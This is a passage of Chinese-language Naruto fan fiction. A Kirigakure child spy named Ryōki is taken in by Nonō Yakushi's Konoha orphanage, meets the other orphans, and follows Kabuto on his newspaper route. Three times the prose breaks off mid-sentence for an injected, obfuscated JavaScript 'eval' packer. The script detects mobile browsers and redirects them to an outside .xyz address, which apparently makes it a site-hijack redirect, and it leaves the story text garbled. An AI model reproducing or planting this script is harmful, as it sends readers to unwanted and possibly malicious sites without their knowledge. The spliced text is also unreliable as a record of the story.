因为所有东西都被埋在黄土之下,她只能自己制造挖坑的铲子——木棍前端用藤蔓绑上简单打磨过的石片。在深山老林里,也只能做出这样的工具。 然而,哪怕只是凭借如此简陋的工具,她也成功挖出了一个等人深的大坑。 药师野乃宇蹲在深坑旁边,看着这个失去全村人的小孩一锹一锹铲着土,问道:“你这是干什么?” 她一边用力把勉强算作铲子的东西前端斜插进坑底,把土块撬出来,一边有些气喘吁吁地回答道:“我的村子被泥石流掩埋了,但说不定还有人活着,我得把他们救出来。” 药师野乃宇顿了一下,还是直白地说道:“虽然这对你来说很残酷,但我也只能告诉你,这片土地下面没有活人。不要再做无用功了。” 女孩仍没有停止手下的动作。 “感谢劝告。但如果不把他们都挖出来,又怎么能确定他们没有活着呢?” 药师野乃宇跳下深坑,半蹲下来,轻柔地握住她满是伤痕的手,止住了她的动作。因为木棍太过粗糙,她的手上磨出数个血泡后又磨破了,伤口继续不停被木棍挤压,现在还在渗血。红色的血液黏在木质的把手上,染出一道道脏兮兮的指印。 “昨天木叶村的忍者来过这里。他是感知忍者,感知到这里已经没有活人了。” “活要见人,死要见尸。” 她想把手从药师野乃宇手中抽出来,可那只手虽然柔软,力道却非常大,她怎么也抽不动。 药师野乃宇望向她无神的暗金色眸子,里面没有情绪,只有空无。 “哪怕见到尸体,也只是打扰他们安宁。让他们入土为安吧。” “但是除了这个,我什么都做不了。” 药师野乃宇垂下眼帘,犹豫一番,还是说道:“你的村子不是无缘无故消失的。雾隐村的忍者在前去偷袭木叶村的路上,不知为何将这个村庄覆灭。可能是因为有村民意外发现了他们的踪影。” 药师野乃宇手中握着的手轻轻动了一下。 “那些雾隐村的忍者,他们现在怎么样了?被木叶村的忍者杀光了吗?” “意图袭击木叶村的雾隐忍者是忍刀七人众,其中四人死亡,三人逃走了。” “原来还有三人逃走了啊。” 在阳光难以照耀到的坑底,她空洞的双眼更加幽深。 “无论是复仇还是其他什么,只有活下去,并且好好地活下去才能做到。你今后有什么打算?” 她思考了一番,回道:“没有想过。不过我认识山里哪些果子和蘑菇能吃,会布陷阱,还会捕鱼,应该能活下去吧。” “这样的话,要不要和我回木叶村?不管怎样,应该比你在山里的生活要好一些。” 她有些犹豫地问:“你……应该不是人贩子吧?不,人贩子早就把我捆走了,不会说这么多。” 药师野乃宇微微笑了一下:“那么,我想你应该同意了吧。” 她没有说话,只是点了点头。药师野乃宇松开手,她此前一直在用医疗忍术治疗小孩的伤口,现在已经完全愈合,再看不出挖坑挖了好久的痕迹。 药师野乃宇把铲子从她手中抽出,放到地上,抱住她跳到坑外。不知何时落在地面的一只乌鸦被突然出现的人惊到,慌不择路地向着残阳拍打翅膀,发出喑哑的嘎嘎声。 正是黄昏时分,血色的夕阳被黑幽幽的密林遮掩大半。光线黯淡,在药师野乃宇身后投下长长的影子。 药师野乃宇抱着小孩在密林中疾驰着。她突然想起什么,对小孩说道:“我一直忘了自我介绍。我是药师野乃宇,木叶一家孤儿院的院长。” 她回道:“我是凉纪,没有姓氏,孤儿。” “唉……”药师野乃宇发出一声叹息,但这叹息太轻太柔,马上就被呼啸的晚风卷走,融入到昏黄的夕阳中。 - 来到木叶村门口,药师野乃宇停下脚步。她把凉纪从怀里放下,带着她走在木叶村的街头。 现在早已入夜,街边大大小小的店铺都挂上灯笼,一盏盏灯光汇聚成灯火的长龙。尽管外面纷战不休,但战火并没有波及到这里,一片热闹与繁华。 这是凉纪即将生活的地方。 潜伏作战虽然并不完美,但还是成功了。 根据雾隐村情报部门的分析,凉纪很有可能被木叶暗部带走。面对屠村这样惨重的事件,木叶村大概率会询问凉纪详细经过。同时,凉纪有目睹忍刀七人众的可能,木叶会想要她的情报。 在情报审讯完后,最大可能是将她转移给“根”。“根”忍者的主要来源,是火之国内家破人亡的孩子。凉纪也最希望能进入“根”,这样能最快接触忍术学习。开始学习忍术后,“根”必定能发现凉纪身负漩涡一族的血统,并具有在漩涡一族中也算特殊的查克拉。 其次是木叶孤儿院。这是三战中新开办的机构,部分孤儿会进入这个地方。和“根”不同,这只是一个普通的福利院,但院长是木叶的上忍,可以通过她接触其他知晓人柱力与漩涡一族相关情报的人。 不过,以上只是理想的方案。木叶也有很大可能将她扔到村外自生自灭。这种情况下,凉纪就需要想尽办法在木叶丢开她之前,让木叶的人看到她的价值,从而留在木叶。 让凉纪没有想到的是,雾隐村和她预想的情况没有发生。药师野乃宇直接带她去了孤儿院。她对可能到来的审讯的准备只是无用功。 看着木叶的街景,凉纪不觉得雀跃,只是有种任务完成的空茫。她很快在心里打醒自己,万里长征只走了第一步,接下来的事情还有很多,不可以轻易放松。 见凉纪侧过脸看街边的店铺,药师野乃宇道:“今天天色太晚,明天我让院里的孩子带你来街上逛逛。” 凉纪转回头,低声道:“不用麻烦别人,我只是看看而已。” “没什么麻烦不麻烦的,既然你来了孤儿院,我们就都是一家人了。” 顺着主干道走了一会儿,药师野乃宇带着凉纪拐了个弯,将喧闹声留在身后。 这里是民居,虽然路上也有行人在走动,却不如主街那么热闹。街边的房子有不少亮着灯,和路灯一起驱逐着夜色。但越往前走,灯光就越来越稀疏,行人也越来越少,夜晚的萧瑟终于战胜城市的繁华,投下凄白的月光和黑黢黢的影子。 走过一片荒地,药师野乃宇和凉纪来到孤零零矗立着的斜顶木制大屋前。房子说大不大,说小也不小,虽说只有两层高,但从侧边看去,每层大体有两百余平,如果孩子不多,充作孤儿院也算勉强足够。 药师野乃宇推开屋门,带着凉纪走进房间里。 不出意料,木屋内部很是简陋。四周是光秃秃的木板和窗户,正对门的大厅除了两张大餐桌和几张椅子之外,再没有其他家具。 大概是因为天色已晚,大厅里空荡荡的,没有其他人。 药师野乃宇提高音量喊了一声:“孩子们,快下来,有新的伙伴要加入我们。” 药师野乃宇话音刚落,就传来一个热情的声音:“院长,你回来了!”伴随着“蹬蹬蹬”的脚步声,一个身影从楼梯上朝大厅冲过来,张开手臂狠狠抱住药师野乃宇。 是一个扎着两只低马尾的小女孩,她的脸上洋溢着欢喜的笑容。 放开药师野乃宇,她有些好奇地看着站在野乃宇旁边的凉纪。随后,她露出一个大大的笑容,用力把凉纪搂进怀里。 “欢迎来到木叶!以后我们一起好好生活吧!” 面对突如其来的拥抱,凉纪一时没有反应过来,只能任由女孩动作。 “千杏,你都要把新人勒死了,快松开啦。”一个懒洋洋的声音从楼梯口传来。 千杏放开凉纪,转向刚刚说话的正戴着贝雷帽的男孩,不满地说:“乌鲁西,你说什么呢。我好好控制着力气,哪有那么夸张。” “那样就好。”乌鲁西朝凉纪挥了挥手,咧嘴笑道:“哟,新人!欢迎来到孤儿院!你叫什么名字?” 凉纪没有向普通人自我介绍的经验。她唯一一次介绍自己,是在忍者学校开学的时候。当时,她直截了当地说道:“我到这里不是来交朋友的。你们没有必要知道我的名字,平时遇见我就直接绕路吧。” 不过,这些话可不能在这里说。她不指望自己讨人喜欢,但也没必要引人讨厌。这对成为下一任九尾人柱力没有益处。 她正准备重复之前向药师野乃宇介绍自己时的话语,药师野乃宇的声音先一步响起:“她叫凉纪,大家要好好相处哦。” 既然药师野乃宇已经说了,凉纪便保持沉默。 乌鲁西的方向传来一道碎碎念:“看千杏这怪力女,把新人吓着了,都不敢开口。” “这话可不是我说的。”乌鲁西连忙往旁边走了几步,露出身后一个留着及肩金发的男生。 千杏横眉倒竖:“——金太郎!!你在说什么?!” 顾忌在一边的凉纪,她没向以前那样去揪金太郎的耳朵,而是颇有些不好意思地对凉纪说道:“这些男生就是嘴里没一个把门的,让你见笑了。” 凉纪歪头奇怪地说:“我没有笑啊。” 千杏自己反而情不自禁笑了:“凉纪,怎么感觉你人呆呆的。” 药师野乃宇看着孩子们打打闹闹,带着笑意说道:“凉纪还没有吃晚饭,我去厨房热几个饭团。千杏,你带着凉纪认识一下院里的其他人。” “OK!”千杏拉住凉纪的手,带着她坐到餐桌边的椅子上。她朝着陆陆续续下来的孩子们招手:“快过来!向凉纪介绍一下自己!” 忽然,凉纪听到有人小声说:“本来经费就不足,又进来一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16375514|184034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耗费粮食的家伙。” 这不是好话,但是事实。他们为数不多的口粮,同样是凉纪任务的牺牲品。 凉纪感到很抱歉。就像她因为妈妈的吩咐不得不把所有叫着自己昵称凑过来想要结交自己的孩子打跑时一样。 因此,她做出了相同的选择。 凉纪起身,走到那个说出这话的孩子面前,鞠躬道歉:“对不起,我不知道孤儿院粮食不多。我吃得很少,也会去林子里采摘和抓野兔,不会太消耗你们的食物的。” 还在叽叽喳喳着的孩子们全都安静下来,面面相觑,然后蚊蝇般的议论声又响了起来。 千杏为凉纪没头没尾的话一愣,然后表情一下冷了下来:“久米佑,刚刚你说了什么不好的话吗?” 久米佑表情惊恐,支支吾吾地语不成句:“我……不……没……” 既然已经道歉,凉纪认为这件事已经告一段落。她回到刚刚的座位,对千杏说道:“千杏,对不起刚刚打断了你的介绍,现在可以继续了。” 千杏一时间不知道该怎么反应。她深吸一口气,又重重吐出,走到乌鲁西身边,把乌鲁西扯到凉纪身边:“乌鲁西,你照看一下凉纪,我有些事要处理。” 她把久米佑一直拽到后门外,然后传来一阵鬼哭狼嚎。 乌鲁西也有些无所适从,他干脆直接继续千杏未完成的介绍,指着凑到桌边的孩子们,挨个说道:“这是金太郎,这是贤治,这是真司,这是照坊、这是针祢、这是兜……” 金太郎拉开椅子趴在桌上,嘀咕道:“你这也太考验别人记忆力了,就这样念一圈名字,转眼就忘了。” 乌鲁西大大咧咧地说道:“就算现在没记住,反正都住一起了,没几天就都认全了。” 有几个孩子凑在一起说着小话,虽说声音很低,但凉纪还是可以听清:“新来的那个凉纪,总感觉好奇怪……”“是不是刚来太害怕了?”这些不是什么需要道歉的话。但凉纪很疑惑,说对不起有那么奇怪吗? 也有几个孩子朝凉纪打招呼:“欢迎!”“有什么问题都可以问我!”“以后请多指教!” “吱嘎”一声,千杏打开后门,身后跟着久米佑。他垂头丧气的,也不知道被千杏怎么对待了。 千杏拉开凉纪边的椅子,坐上去,皮笑肉不笑地说道,“如果他再说什么不好听的,凉纪你直接敲他的脑袋就好。” 久米佑无精打采地走上前,对凉纪说道:“对不起。” “为什么你要向我道歉?”凉纪诧异地说。 千杏也很是诧异:“凉纪,他说了你坏话欸。” “可是……”凉纪想解释,自己确实多消耗了孤儿院的食物,但千杏打断了她:“说别人耗费粮食的人,自己才是只知道吃的蠢猪。担心粮食不够,我们可以一起想办法,这不是背后指责同一境遇同伴的理由。” 千杏说得很有道理。可惜,凉纪并不是和他们同一境遇的同伴。 “孤儿院的大家都是很好的人,久米佑也只是一时犯蠢而已。你不用太害怕。如果还有像他那样犯蠢的人,你直接和我说。”千杏挽住凉纪的胳膊,“你来之前只有我一个女孩子,你来之后,也就我们两个,我们以后可得好好相处啊!” “嗯。”凉纪听着千杏说话,不时点头回应着。 原来和同龄人相处是这样的吗?打倒然后道歉——这是以前凉纪和同龄人唯一的交集。无论是作为雾隐村的忍者,还是漩涡一族的复仇者,凉纪都没有和人好好相处的必要。而良季……不是迫不得已,凉纪不会回想他经历过的事。 凉纪对此感到不是很适应。 不过,这感觉也不坏。 - 吃了饭团,凉纪和千杏到二楼卧室,准备睡觉。孤儿院是两个人分一张床,对于小孩来说,孤儿院的床很宽很大,两个人倒也不拥挤。因为只有千杏和凉纪两个女孩,她们独享一个房间。男生们则没有这个便利。 许是见到新伙伴太兴奋,千杏窝在温暖的被窝里,向凉纪叽叽喳喳说了好多话。凉纪也一直认真听着。 直到药师野乃宇敲了下门提醒他们该入睡了,千杏才停下来,有些意犹未尽地用气声对凉纪说道:“晚上九点以后就是宵禁,得乖乖上床睡觉了。” 凉纪用气声回道:“我知道了。” 千杏没有回话。凉纪凝神看去,发现她已经睡着了。睡着的她没有了白日洋溢的热情,反而显得有些恬静。 孤儿院的大家会在后续的计划中幸存吗?凉纪脑海中浮现出这样的疑问。 按照木叶地图和今天的观察,孤儿院地处木叶村的边缘,被波及的概率不大。 不过万事皆有可能。 凉纪想起出发前往木叶之前,和长老的对话。最重要的,是舍弃一切的心…… 她不再想下去,闭上眼,没一会就睡着了。 7. 别以为普通人的生活就很容易 千杏“唰”地拉开窗帘,清晨浅淡柔和的阳光透过窗外微微摇摆着的枝叶灌进来,房间里溢满了波光粼粼的碎金。 她回头看了下床,凉纪仍躺在床上没起来。 还没醒吗…… 大概是昨天来到新环境,精神太疲惫了吧。 不过,也该起床了,不然早饭会被那些男生抢光的。 千杏走到床边,推了推凉纪。她却还是没醒,皱着眉头死死闭着眼,显得很是严肃。 这是做噩梦了吗?千杏心里有些怜惜。 每个孩子来孤儿院前,都经历过不好的事。昨天凉纪一副乖巧怕生的模样,还向说自己坏话的人道歉。千杏不知她是天性如此,还是受到打击心情低落。但是,有自己在,总会让凉纪开朗起来的。 千杏大喊道:“凉纪!快起来!早饭要被抢光了!” 声音甫一落下,凉纪就仿佛上了发条的人偶一般猛地弹起,差点撞到千杏的鼻子。 她眼神空洞地看着千杏,好像不认识她一般,无神的目光不知为何让千杏有些发寒。 明明屋内阳光正好,她身边却仿佛有什么吞噬光线的物质,犹如身处暗影。 倏地,凉纪周身奇怪的氛围散去,她有些睡眼惺忪地揉了揉眼睛,羞怯地说道:“对不起,我起晚了。”又恢复成千杏印象里怯生生的样子。 千杏一下子忘记之前的异样,关切地问:“是不是做噩梦了?” 凉纪回答:“梦到来之前的事了。” 千杏不再问下去。能来到这个地方的孩子,过往就没有不惨痛的。或者说,无论曾经有怎样幸福的过往,来到这里之后,就只剩惨痛。 大家都体贴地不去打探别人的经历,生怕触碰别人伤口的同时,也揭开自己的伤疤。 千杏转移了话题:“我们快点刷牙洗脸下去吧!不然就只能吃剩饭了!” 凉纪点点头,翻身下床,换上药师野乃宇昨天从仓库拿出来的旧衣服。这是以前千杏穿过的,对她来说有些小,对凉纪来说正合适。 凉纪看着洗脸盆里的自己。红发柔顺地搭在颊边,面容在水波的荡漾下模糊不清。就像梦里的自己。 许是记忆混合的后遗症,她的梦里全是良季的生活片段。有些正常,有些布满猩红,人们浑身是血躺在地上,死不瞑目。 在梦中,凉纪仿佛困在人偶里一般,随良季经历着一切。这倒没什么,但有一点让凉纪很是在意——做梦的时候,哪怕周围有什么风吹草动,她还是睡得死死地醒不过来。 必须要尽快在木叶村学习忍术,然后用影分身守夜。 凉纪是作为普通人来到木叶村的。 她可以选择伪装成完全不会忍术的普通人,或是从母亲身上学会了一两个简单忍术的预备忍者。最终,她选择伪装成普通人。 面对普通人,木叶村只会把她当成小孩。面对会忍术的人,无论那忍术多么低劣,想必木叶村都会把她当作忍者看待。 但这也带来很多不便。 现在战争的烈度已经降低,不像刚开战时那么大,作为九尾人柱力的漩涡玖辛奈并没有奔赴战场,而是留在木叶村。拥有漩涡一族秘术神乐心眼的她,在凉纪使用忍术时,很有可能察觉到周围突然多出了陌生又熟悉的查克拉。除了漩涡玖辛奈之外,木叶村也还拥有其他的感知忍者,他们也同样有可能感知到凉纪。 正因此,凉纪到现在都还没有使用过忍术。 就好像武士失去了刀和盔甲,无法使用查克拉的凉纪总有种不安全感。 今天要想办法接触忍术学习的相关事项……这样想着,凉纪用毛巾擦了擦脸,和千杏一起下了楼。 - 早饭不是很丰盛,只有饭团、腌萝卜和豆腐,不过比凉纪想象得要好一些。 金太郎叹了口气:“又是老三样啊。” 千杏不满地拍了下他的背:“不管什么都抱怨,你干脆叫抱怨太郎算了。” 正好坐在凉纪左边的戴着眼镜的白发男孩安抚道:“昨天是寿司、醋海带和咸鱼,院长已经尽力每天吃得不一样了。” 凉纪记得昨天乌鲁西介绍了他的名字,兜。 乌鲁西撇了撇嘴:“金太郎,兜比你晚来一年,觉悟可比你高得多。” 金太郎阴暗地画着圈圈:“唉果然我就是不讨人喜欢不管是谁都比我好相处得多无论再来几个人我的地位永远是最低一档大家都会像远离阴沟一样远远避开我……” 大家没有管他,而是去分桌上的早餐。 兜见凉纪有些疑惑地看着金太郎,朝凉纪解释道:“金太郎人很好,就是喜欢抱怨,容易变消沉。把他放着不管就好了,他很快就会恢复成正常人的样子。” 金太郎听了更消沉了,碎碎念道:“是的我不是个正常人……” 兜微笑道:“金太郎,不要太灰心,你的自知之明还是和正常人一般无二的。” 药师野乃宇正含笑看着他们打闹,适时插话道:“兜,今天你带凉纪到村里到处走走,熟悉一下周边环境。” 凉纪一愣:“院长,不用了,我自己逛就好。”她是真心实意的。潜伏之后还有下一步计划要开展,有个人跟在身边,很多事情都不好做。 千杏歪倒在凉纪身上,大大咧咧地说道:“不用讲客气,兜本来就要在村里跑来跑去,顺带而已。如果不是我要去团子屋那里做工,我就带你一起去了。” 兜也微笑着说:“我来的时间算不上久,对村子的熟悉程度其实比不上其他人,但大家都有自己的活要忙,只能拜托你屈就我了。” 老是拒绝别人应该不太好吧……他们又不是被殴打也要冲上来的雾隐小学生。凉纪只能小声说道:“那今天就麻烦你了。” - 吃过早饭,凉纪和兜走在熙攘的人群中。兜对凉纪说:“吃早饭的时候,千杏说过我要在村里跑来跑去,那是因为前几天我应聘了报童的岗位,需要到村里的各个地方卖报纸,刚好可以带你熟悉一下村子。” “嗯。”凉纪点点头,走在兜的身边。 两人沉默地往前走着,疏离的气氛弥漫在他们中间。兜用余光悄悄打量着跟着他的凉纪。昨天晚上,男生寝室里讨论了这个新加入孤儿院的女孩子。 “那个新来的女孩……叫什么来着……” “凉纪。” “对,凉纪。感觉她有点奇怪。突然跑去和久米佑那家伙说对不起,明明久米佑在说她坏话。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16375515|184034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “大概是刚来孤儿院,担心被赶出去吧。” “久米佑,大姐头是怎么教训你的?说出来让我们乐一乐。” “乐你个头。唉……我明明说得那么小声,也不知道她怎么听见的。” “你还没反省啊,这种想法在心里产生都得压下去,你居然还说出来,活该大姐头打你。” “估计是觉得新人听见了也不敢反抗吧。” “这样说来,新人确实有点奇怪。要么听见了压在心底不吭声,要么和久米佑据理力争,一般人会去道歉的吗?” “行了行了,最奇怪的就是背后说别人坏话的人。没那句话,什么都不会发生。宵禁了,快睡吧。” 尽管认同凉纪在微妙的地方和普通人不太一样,但兜觉得应该是到了新环境,有些胆怯的缘故。 他忍不住偏过头对凉纪说道:“凉纪,你在孤儿院还适应吗?感觉你似乎有些拘谨。” 虽说凉纪昨晚的道歉让大家都印象深刻,但除此之外,她很少和其他人交流,哪怕和千杏也更多是倾听,自己说的话并不多。 我显得很拘谨吗?凉纪诧异地看着兜。 见凉纪一双上挑的金色猫眼微微瞪大,一副呆呆的模样,兜继续说道:“大概是凉纪太安静了,反而让人感觉有距离感。” 距离感……直到兜指出来,凉纪才发现自己不自觉地疏离着其他人。凉纪得想办法消除它。为了顺利潜伏,不引来不必要的关注,凉纪得融入孤儿院。就像一滴水融入小溪。 “我不知道该说些什么。”凉纪诚实地说。 “高兴的事,难过的事,有疑问的事,都可以向大家分享和倾诉。孤儿院现在包括你一共十二个人,都是院长两年前开办孤儿院以来陆陆续续来到这里的,都有着一样的境遇。所以不用担心说错话被大家讨厌,大家都能理解彼此。” 这担心对凉纪来说向来是多余的。凉纪向来都是有话直说,从没担心过别人讨厌她。她已经被足够多的人讨厌过,再多一些也没事。而且,从学校的毕业方式就可以看出,和同伴相亲相爱对于雾隐忍者可不是什么值得称道的品质。 不过,在木叶还是收敛些为好。那还是多和别人说说话吧。刚好,凉纪现在心里有个疑问,按照兜的说法,他会回答凉纪的问题。 “现在是十二个人,之后还会再来人吗?”凉纪问道。 凉纪希望孤儿院不要再来人了。她不擅长面向普通人的伪装。虽然她来之前用药水消除了茧子和疤痕,刻意调整了自己走路的步伐,动作的细节,增加了很多没必要但普通人常有的冗余动作,但动作容易更改,思想难以改变。人一多,凉纪就更有可能露馅。 “很难。战争总会产生孤儿。但它更倾向于将一家人整整齐齐都送去地狱。没有那么多从不幸中幸存的人。”兜用稚嫩的面孔,说着刻骨的话。 凉纪想到了妈妈,想到了良季。妈妈从不幸中幸存了下来,而良季没有。哪一边会更好一些呢?凉纪不知道答案。 但她知道,那场不幸的余音时时刻刻缭绕在妈妈身边,她仍沉溺在那场不幸之中。 而凉纪要拯救她。 在凉纪又一次陷入沉默时,兜停下脚步:“我们到了。” 8. 这世道工作都不好做,不管是忍者还是报童还是其他 凉纪抬头看了下眼前店铺的招牌,这是《木叶日报》报社。 兜从一个工作人员手中领取了一叠厚厚的报纸,装在他随身带着的手提袋中。 他带着凉纪在街上逡巡着,吆喝声从简单的“《木叶日报》!二两一份!”到复杂的“头版头条:雾隐忍刀七人众袭村,长年下忍的他挺身而出!”,不停变换着。 听到兜的吆喝,偶尔会有行人停下来买兜手中的报纸,但更多的人无视他们径自往前走,走了一路也只卖出七八份。 兜脸上没见气馁之色,而是继续在路上吆喝着。在穿过无人的小巷走到另一条街的时候,凉纪直白地问:“你卖报纸半天才卖出十几两,为什么要做这个?” 兜也不恼,微笑着对凉纪说道:“没有那么少。卖报纸的钱,一半是报社的,一半是我的。一份报纸卖二两,赚一两,少的时候一天赚四五十两,多的时候可以赚到一百多两。” 听起来也挺低的……一个D级任务最低也有5000两,去掉村子的抽成,和队友平分后,一般不会低于700两。大概是因为兜年龄太小,他只能找到这个薪资的工作。 随着兜和凉纪在街巷中穿行,路上的建筑渐渐变得稀疏,行人也变得更少。已经不太可能有人再来买报纸了,兜停止了吆喝,从手提袋边缝着的口袋里掏出一个水杯,喝了口水。 见兜停止了叫卖,凉纪说:“照这样下去,恐怕一天也只能卖出三四十份,卖不出你说的销量。” 兜解释道:“大多木叶的村民都直接按年订购了《木叶日报》,没有再零买的必要,所以在街上卖很难卖出。绝大多数来我手中买报纸的人,都是外地来的商人或者游客。另外,一些忍者因为常年在外执行任务,不会直接订购一年份的报纸,会等到回村时直接买当天的。 “所以,最好的贩卖地点是村口,但那边已经被其他报童瓜分了。除此之外,就是旅馆门口。但绝大部分的旅馆和村口一样,也被其他报童瓜分,只能偶尔去捡一点漏。” “那你是怎么卖出报纸的?”凉纪从前专注于忍术的学习,很少深入了解普通人的生活,一时也无法想出破局之法。把所有报童打到下不来床,自己独占报纸市场?对于卧底来说,这太出格了。 兜不好意思地笑笑:“也是笨办法。一些在战争中负伤的忍者,脾气有些古怪,别的报童不敢靠近他们。不过,其实熟悉起来会发现,他们其实挺好相处的,我很大一部分客源都来自他们。另外,一些游客和商人不会住在旅店,而是住在民居里,我多到居民区转几圈,看到生面孔就上前推销,也会有一些人来买。” 凉纪若有所思地点点头。 兜带着凉纪走上一座破旧小楼外的楼梯。楼梯是一级级铁板连在一起,可以看到明显的锈迹,在兜和凉纪踏上去时发出沉闷的响声。 上了二楼,兜没有敲门,而是直接取出压在门口地毯下的钥匙,插进钥匙孔往右转了半圈。“咔哒”一声,门开了,兜喊了声“失礼了”,推开门往里走。 一个含含糊糊的声音传出来:“怎么今天还多带了人?” 兜说道:“是我们孤儿院昨天来的新人,我带她熟悉一下村子的情况。” “没必要熟悉我这儿。这只会吓到她。” 伴随着“轱辘辘”的声响,一个歪着脖子坐在轮椅上的人转着轮子从里屋来到客厅。 “唔,你倒是有胆量,看到这样子的人也不害怕。”轮椅上的人对凉纪称赞道。 咋一打眼,会以为轮椅上是半具焦尸与半具人体拼在一起。他左手左臂都消失不见,从脖子到左脸颊都是烧焦后坑坑洼洼的可怖疤痕,左眼眶空荡荡的,和完好的右脸颊对比起来,更显狰狞。大概是因为脖子受了伤,他的话含糊而不清晰,让人听起来很是费力。 “别人会害怕吗?为什么?”凉纪有些诧异。都伤成这样子了,经络系统应该也摧毁殆尽,无法使用查克拉,恐怕还打不过普通人。她不明白这有什么好怕的。 轮椅上的人一愣,没有说话,似是不知道如何回答。 兜平淡地说:“有很多人以貌取人,看到和常人不同的长相就擅自恐慌。” “原来是这样啊。”凉纪理解地点点头。她从小就不太懂别人的心思,不过总有人的想法奇奇怪怪的。 轮椅上的人看着他们的互动,牵动嘴角露出一个笑容。那笑容带动了左脸颊的疤痕,让他看起来更为骇人:“兜,你带来的孩子,和你一样是个好孩子啊。” 凉纪困惑地看着他。自己只说了两句话,他是怎么判断的?不过她很有礼貌地对他鞠了一躬:“谢谢您的夸奖。” 兜微笑着问道:“伊多波叔叔,今天需要我念给您听吗?” 伊多波摇摇头:“我不耽误你时间,你直接去下一家吧。” 兜从手提袋中抽出一张报纸,放到他的手中:“感谢您的订购。”随后,他从一旁鞋架上的零钱盒里掏出二两,装到口袋里。 兜和凉纪正准备出门去下一家,一个醉汉“砰”地撞开门,摇摇摆摆地走进客厅。 兜及时把凉纪拉到角落里,不让醉汉撞到他们。 那醉汉先是一把薅起零钱盒里的纸币和硬币,塞进自己满是酒渍的裤兜,又迈着不稳定的步伐大步闯进伊多波刚刚出来的那件卧室,里面传来叮叮啷啷的翻找声。 他很快走出房门,手中攥着薄薄的一沓钞票。他说出进来后的第一句话:“老头,你是故意把钱都花光了吗?怎么这么少?”他的声音和伊多波一样含糊,但和伊多波因为身体有问题没办法说清楚不同,他是因为脑袋不清醒。 伊多波瞪大眼镜,胸口不断起伏,“呜噜呜噜”说着什么,因为激动声音更加难以听清,以凉纪的听力,都只听出来“孽子”“死在外边”几个词。 醉汉没有理他,而是晃晃悠悠地走到兜面前,粗鲁地说:“小子,把你的钱从兜里掏出来。”他一边喷着酒气,一边伸出染黄的手指想去翻兜的口袋。 兜平静地握住他的手腕,将他往后一推,醉汉一个趔趄差点摔倒。他稍稍清醒过来,冷笑道:“原来是未来的忍者大人。”随后不再看兜和凉纪,推开方才悠悠合上的房门扬长而去。 兜耐心地站在伊多波的轮椅边,等待他的情绪平复下来。 伊多波颇有些凄凉地说道:“兜,又让你看了笑话。” 兜安抚道:“伊多波叔叔,恭史郎只是一时受到打击,没有恢复过来罢了。他未来肯定会恢复成原来的样子。” 伊多波只是喃喃道:“我自己的儿子我清楚。” 兜拉住凉纪的袖子,对伊多波说道:“伊多波叔叔,我们就不打扰了。”随后牵着凉纪离开房间。 等下了楼,凉纪疑惑地问:“你每次来都会经受这一遭吗?这样的话,二两有些不值。” 兜完全没有因为刚刚的插曲影响心情,微笑着说:“怎么会,我当报童这些天,这是我第二次遇见恭史郎。他因为受伤没办法再当忍者,总是泡在酒馆里借酒浇愁,很少回来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16375516|184034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。平时只用和伊多波叔叔说几句话就好。” 凉纪又问了一个关键的问题:“刚刚恭史郎说你是未来的忍者大人,是怎么回事?” 凉纪想过找机会和药师野乃宇提出学习忍术,不过方才兜用查克拉增强自己的力气,这也是一个接触忍术的切入点。 “那是他的误解。我只不过会几个忍术而已,谈不上忍者,未来也没有成为忍者的打算。” 凉纪理解他的意思。忍者不只是使用忍术的人,还意味着特殊的思维方式和精神守则。在水之国,雾隐村会剿灭那些学会了一些低等忍术的野忍,因为他们不愿意将力量为雾隐村所用。他们自称忍者,不过雾隐村从来都不承认。 木叶村和雾隐村不一样,允许普通人拥有忍术的力量。因此,兜有了选择权,选择不做忍者的权利。 但凉纪还是有地方不明白:“为什么兜不想成为忍者?” 兜一愣:“按凉纪的说法,你想成为忍者吗?” 凉纪用力点点头:“是的。”她犹豫了会,还是告诉了兜那个伪造的故事,一个孩子从不幸中幸存,被孤儿院院长从废墟中捡到后,决定向不幸复仇的故事。 这不是她第一次撒谎,她早在雾隐村就对长老撒过谎,也对野乃宇院长撒过谎。但不知为何,这次对兜说谎时有股莫名的阻力,让她的话说得有些艰涩。好在第一句谎言说出口,后续就轻松多了。 “原来是这样。怎么说呢,其实我失去了来孤儿院之前的记忆,很难想象这样的执念。”兜有些无奈地笑笑,“我只想在孤儿院平淡地生活下去,然后尽力帮上院长的忙,帮她维持住孤儿院。” “成为忍者的话,能帮上的忙更大。” “这不一定。更大的可能性,是变成伊多波叔叔和恭史郎那样,成为院长的拖累。” “为什么兜会成为拖累?”凉纪定定地看着他。 “刚刚说了,是因为会像伊多波……”兜的话渐渐停了下来。他意识到凉纪问的不是这个。 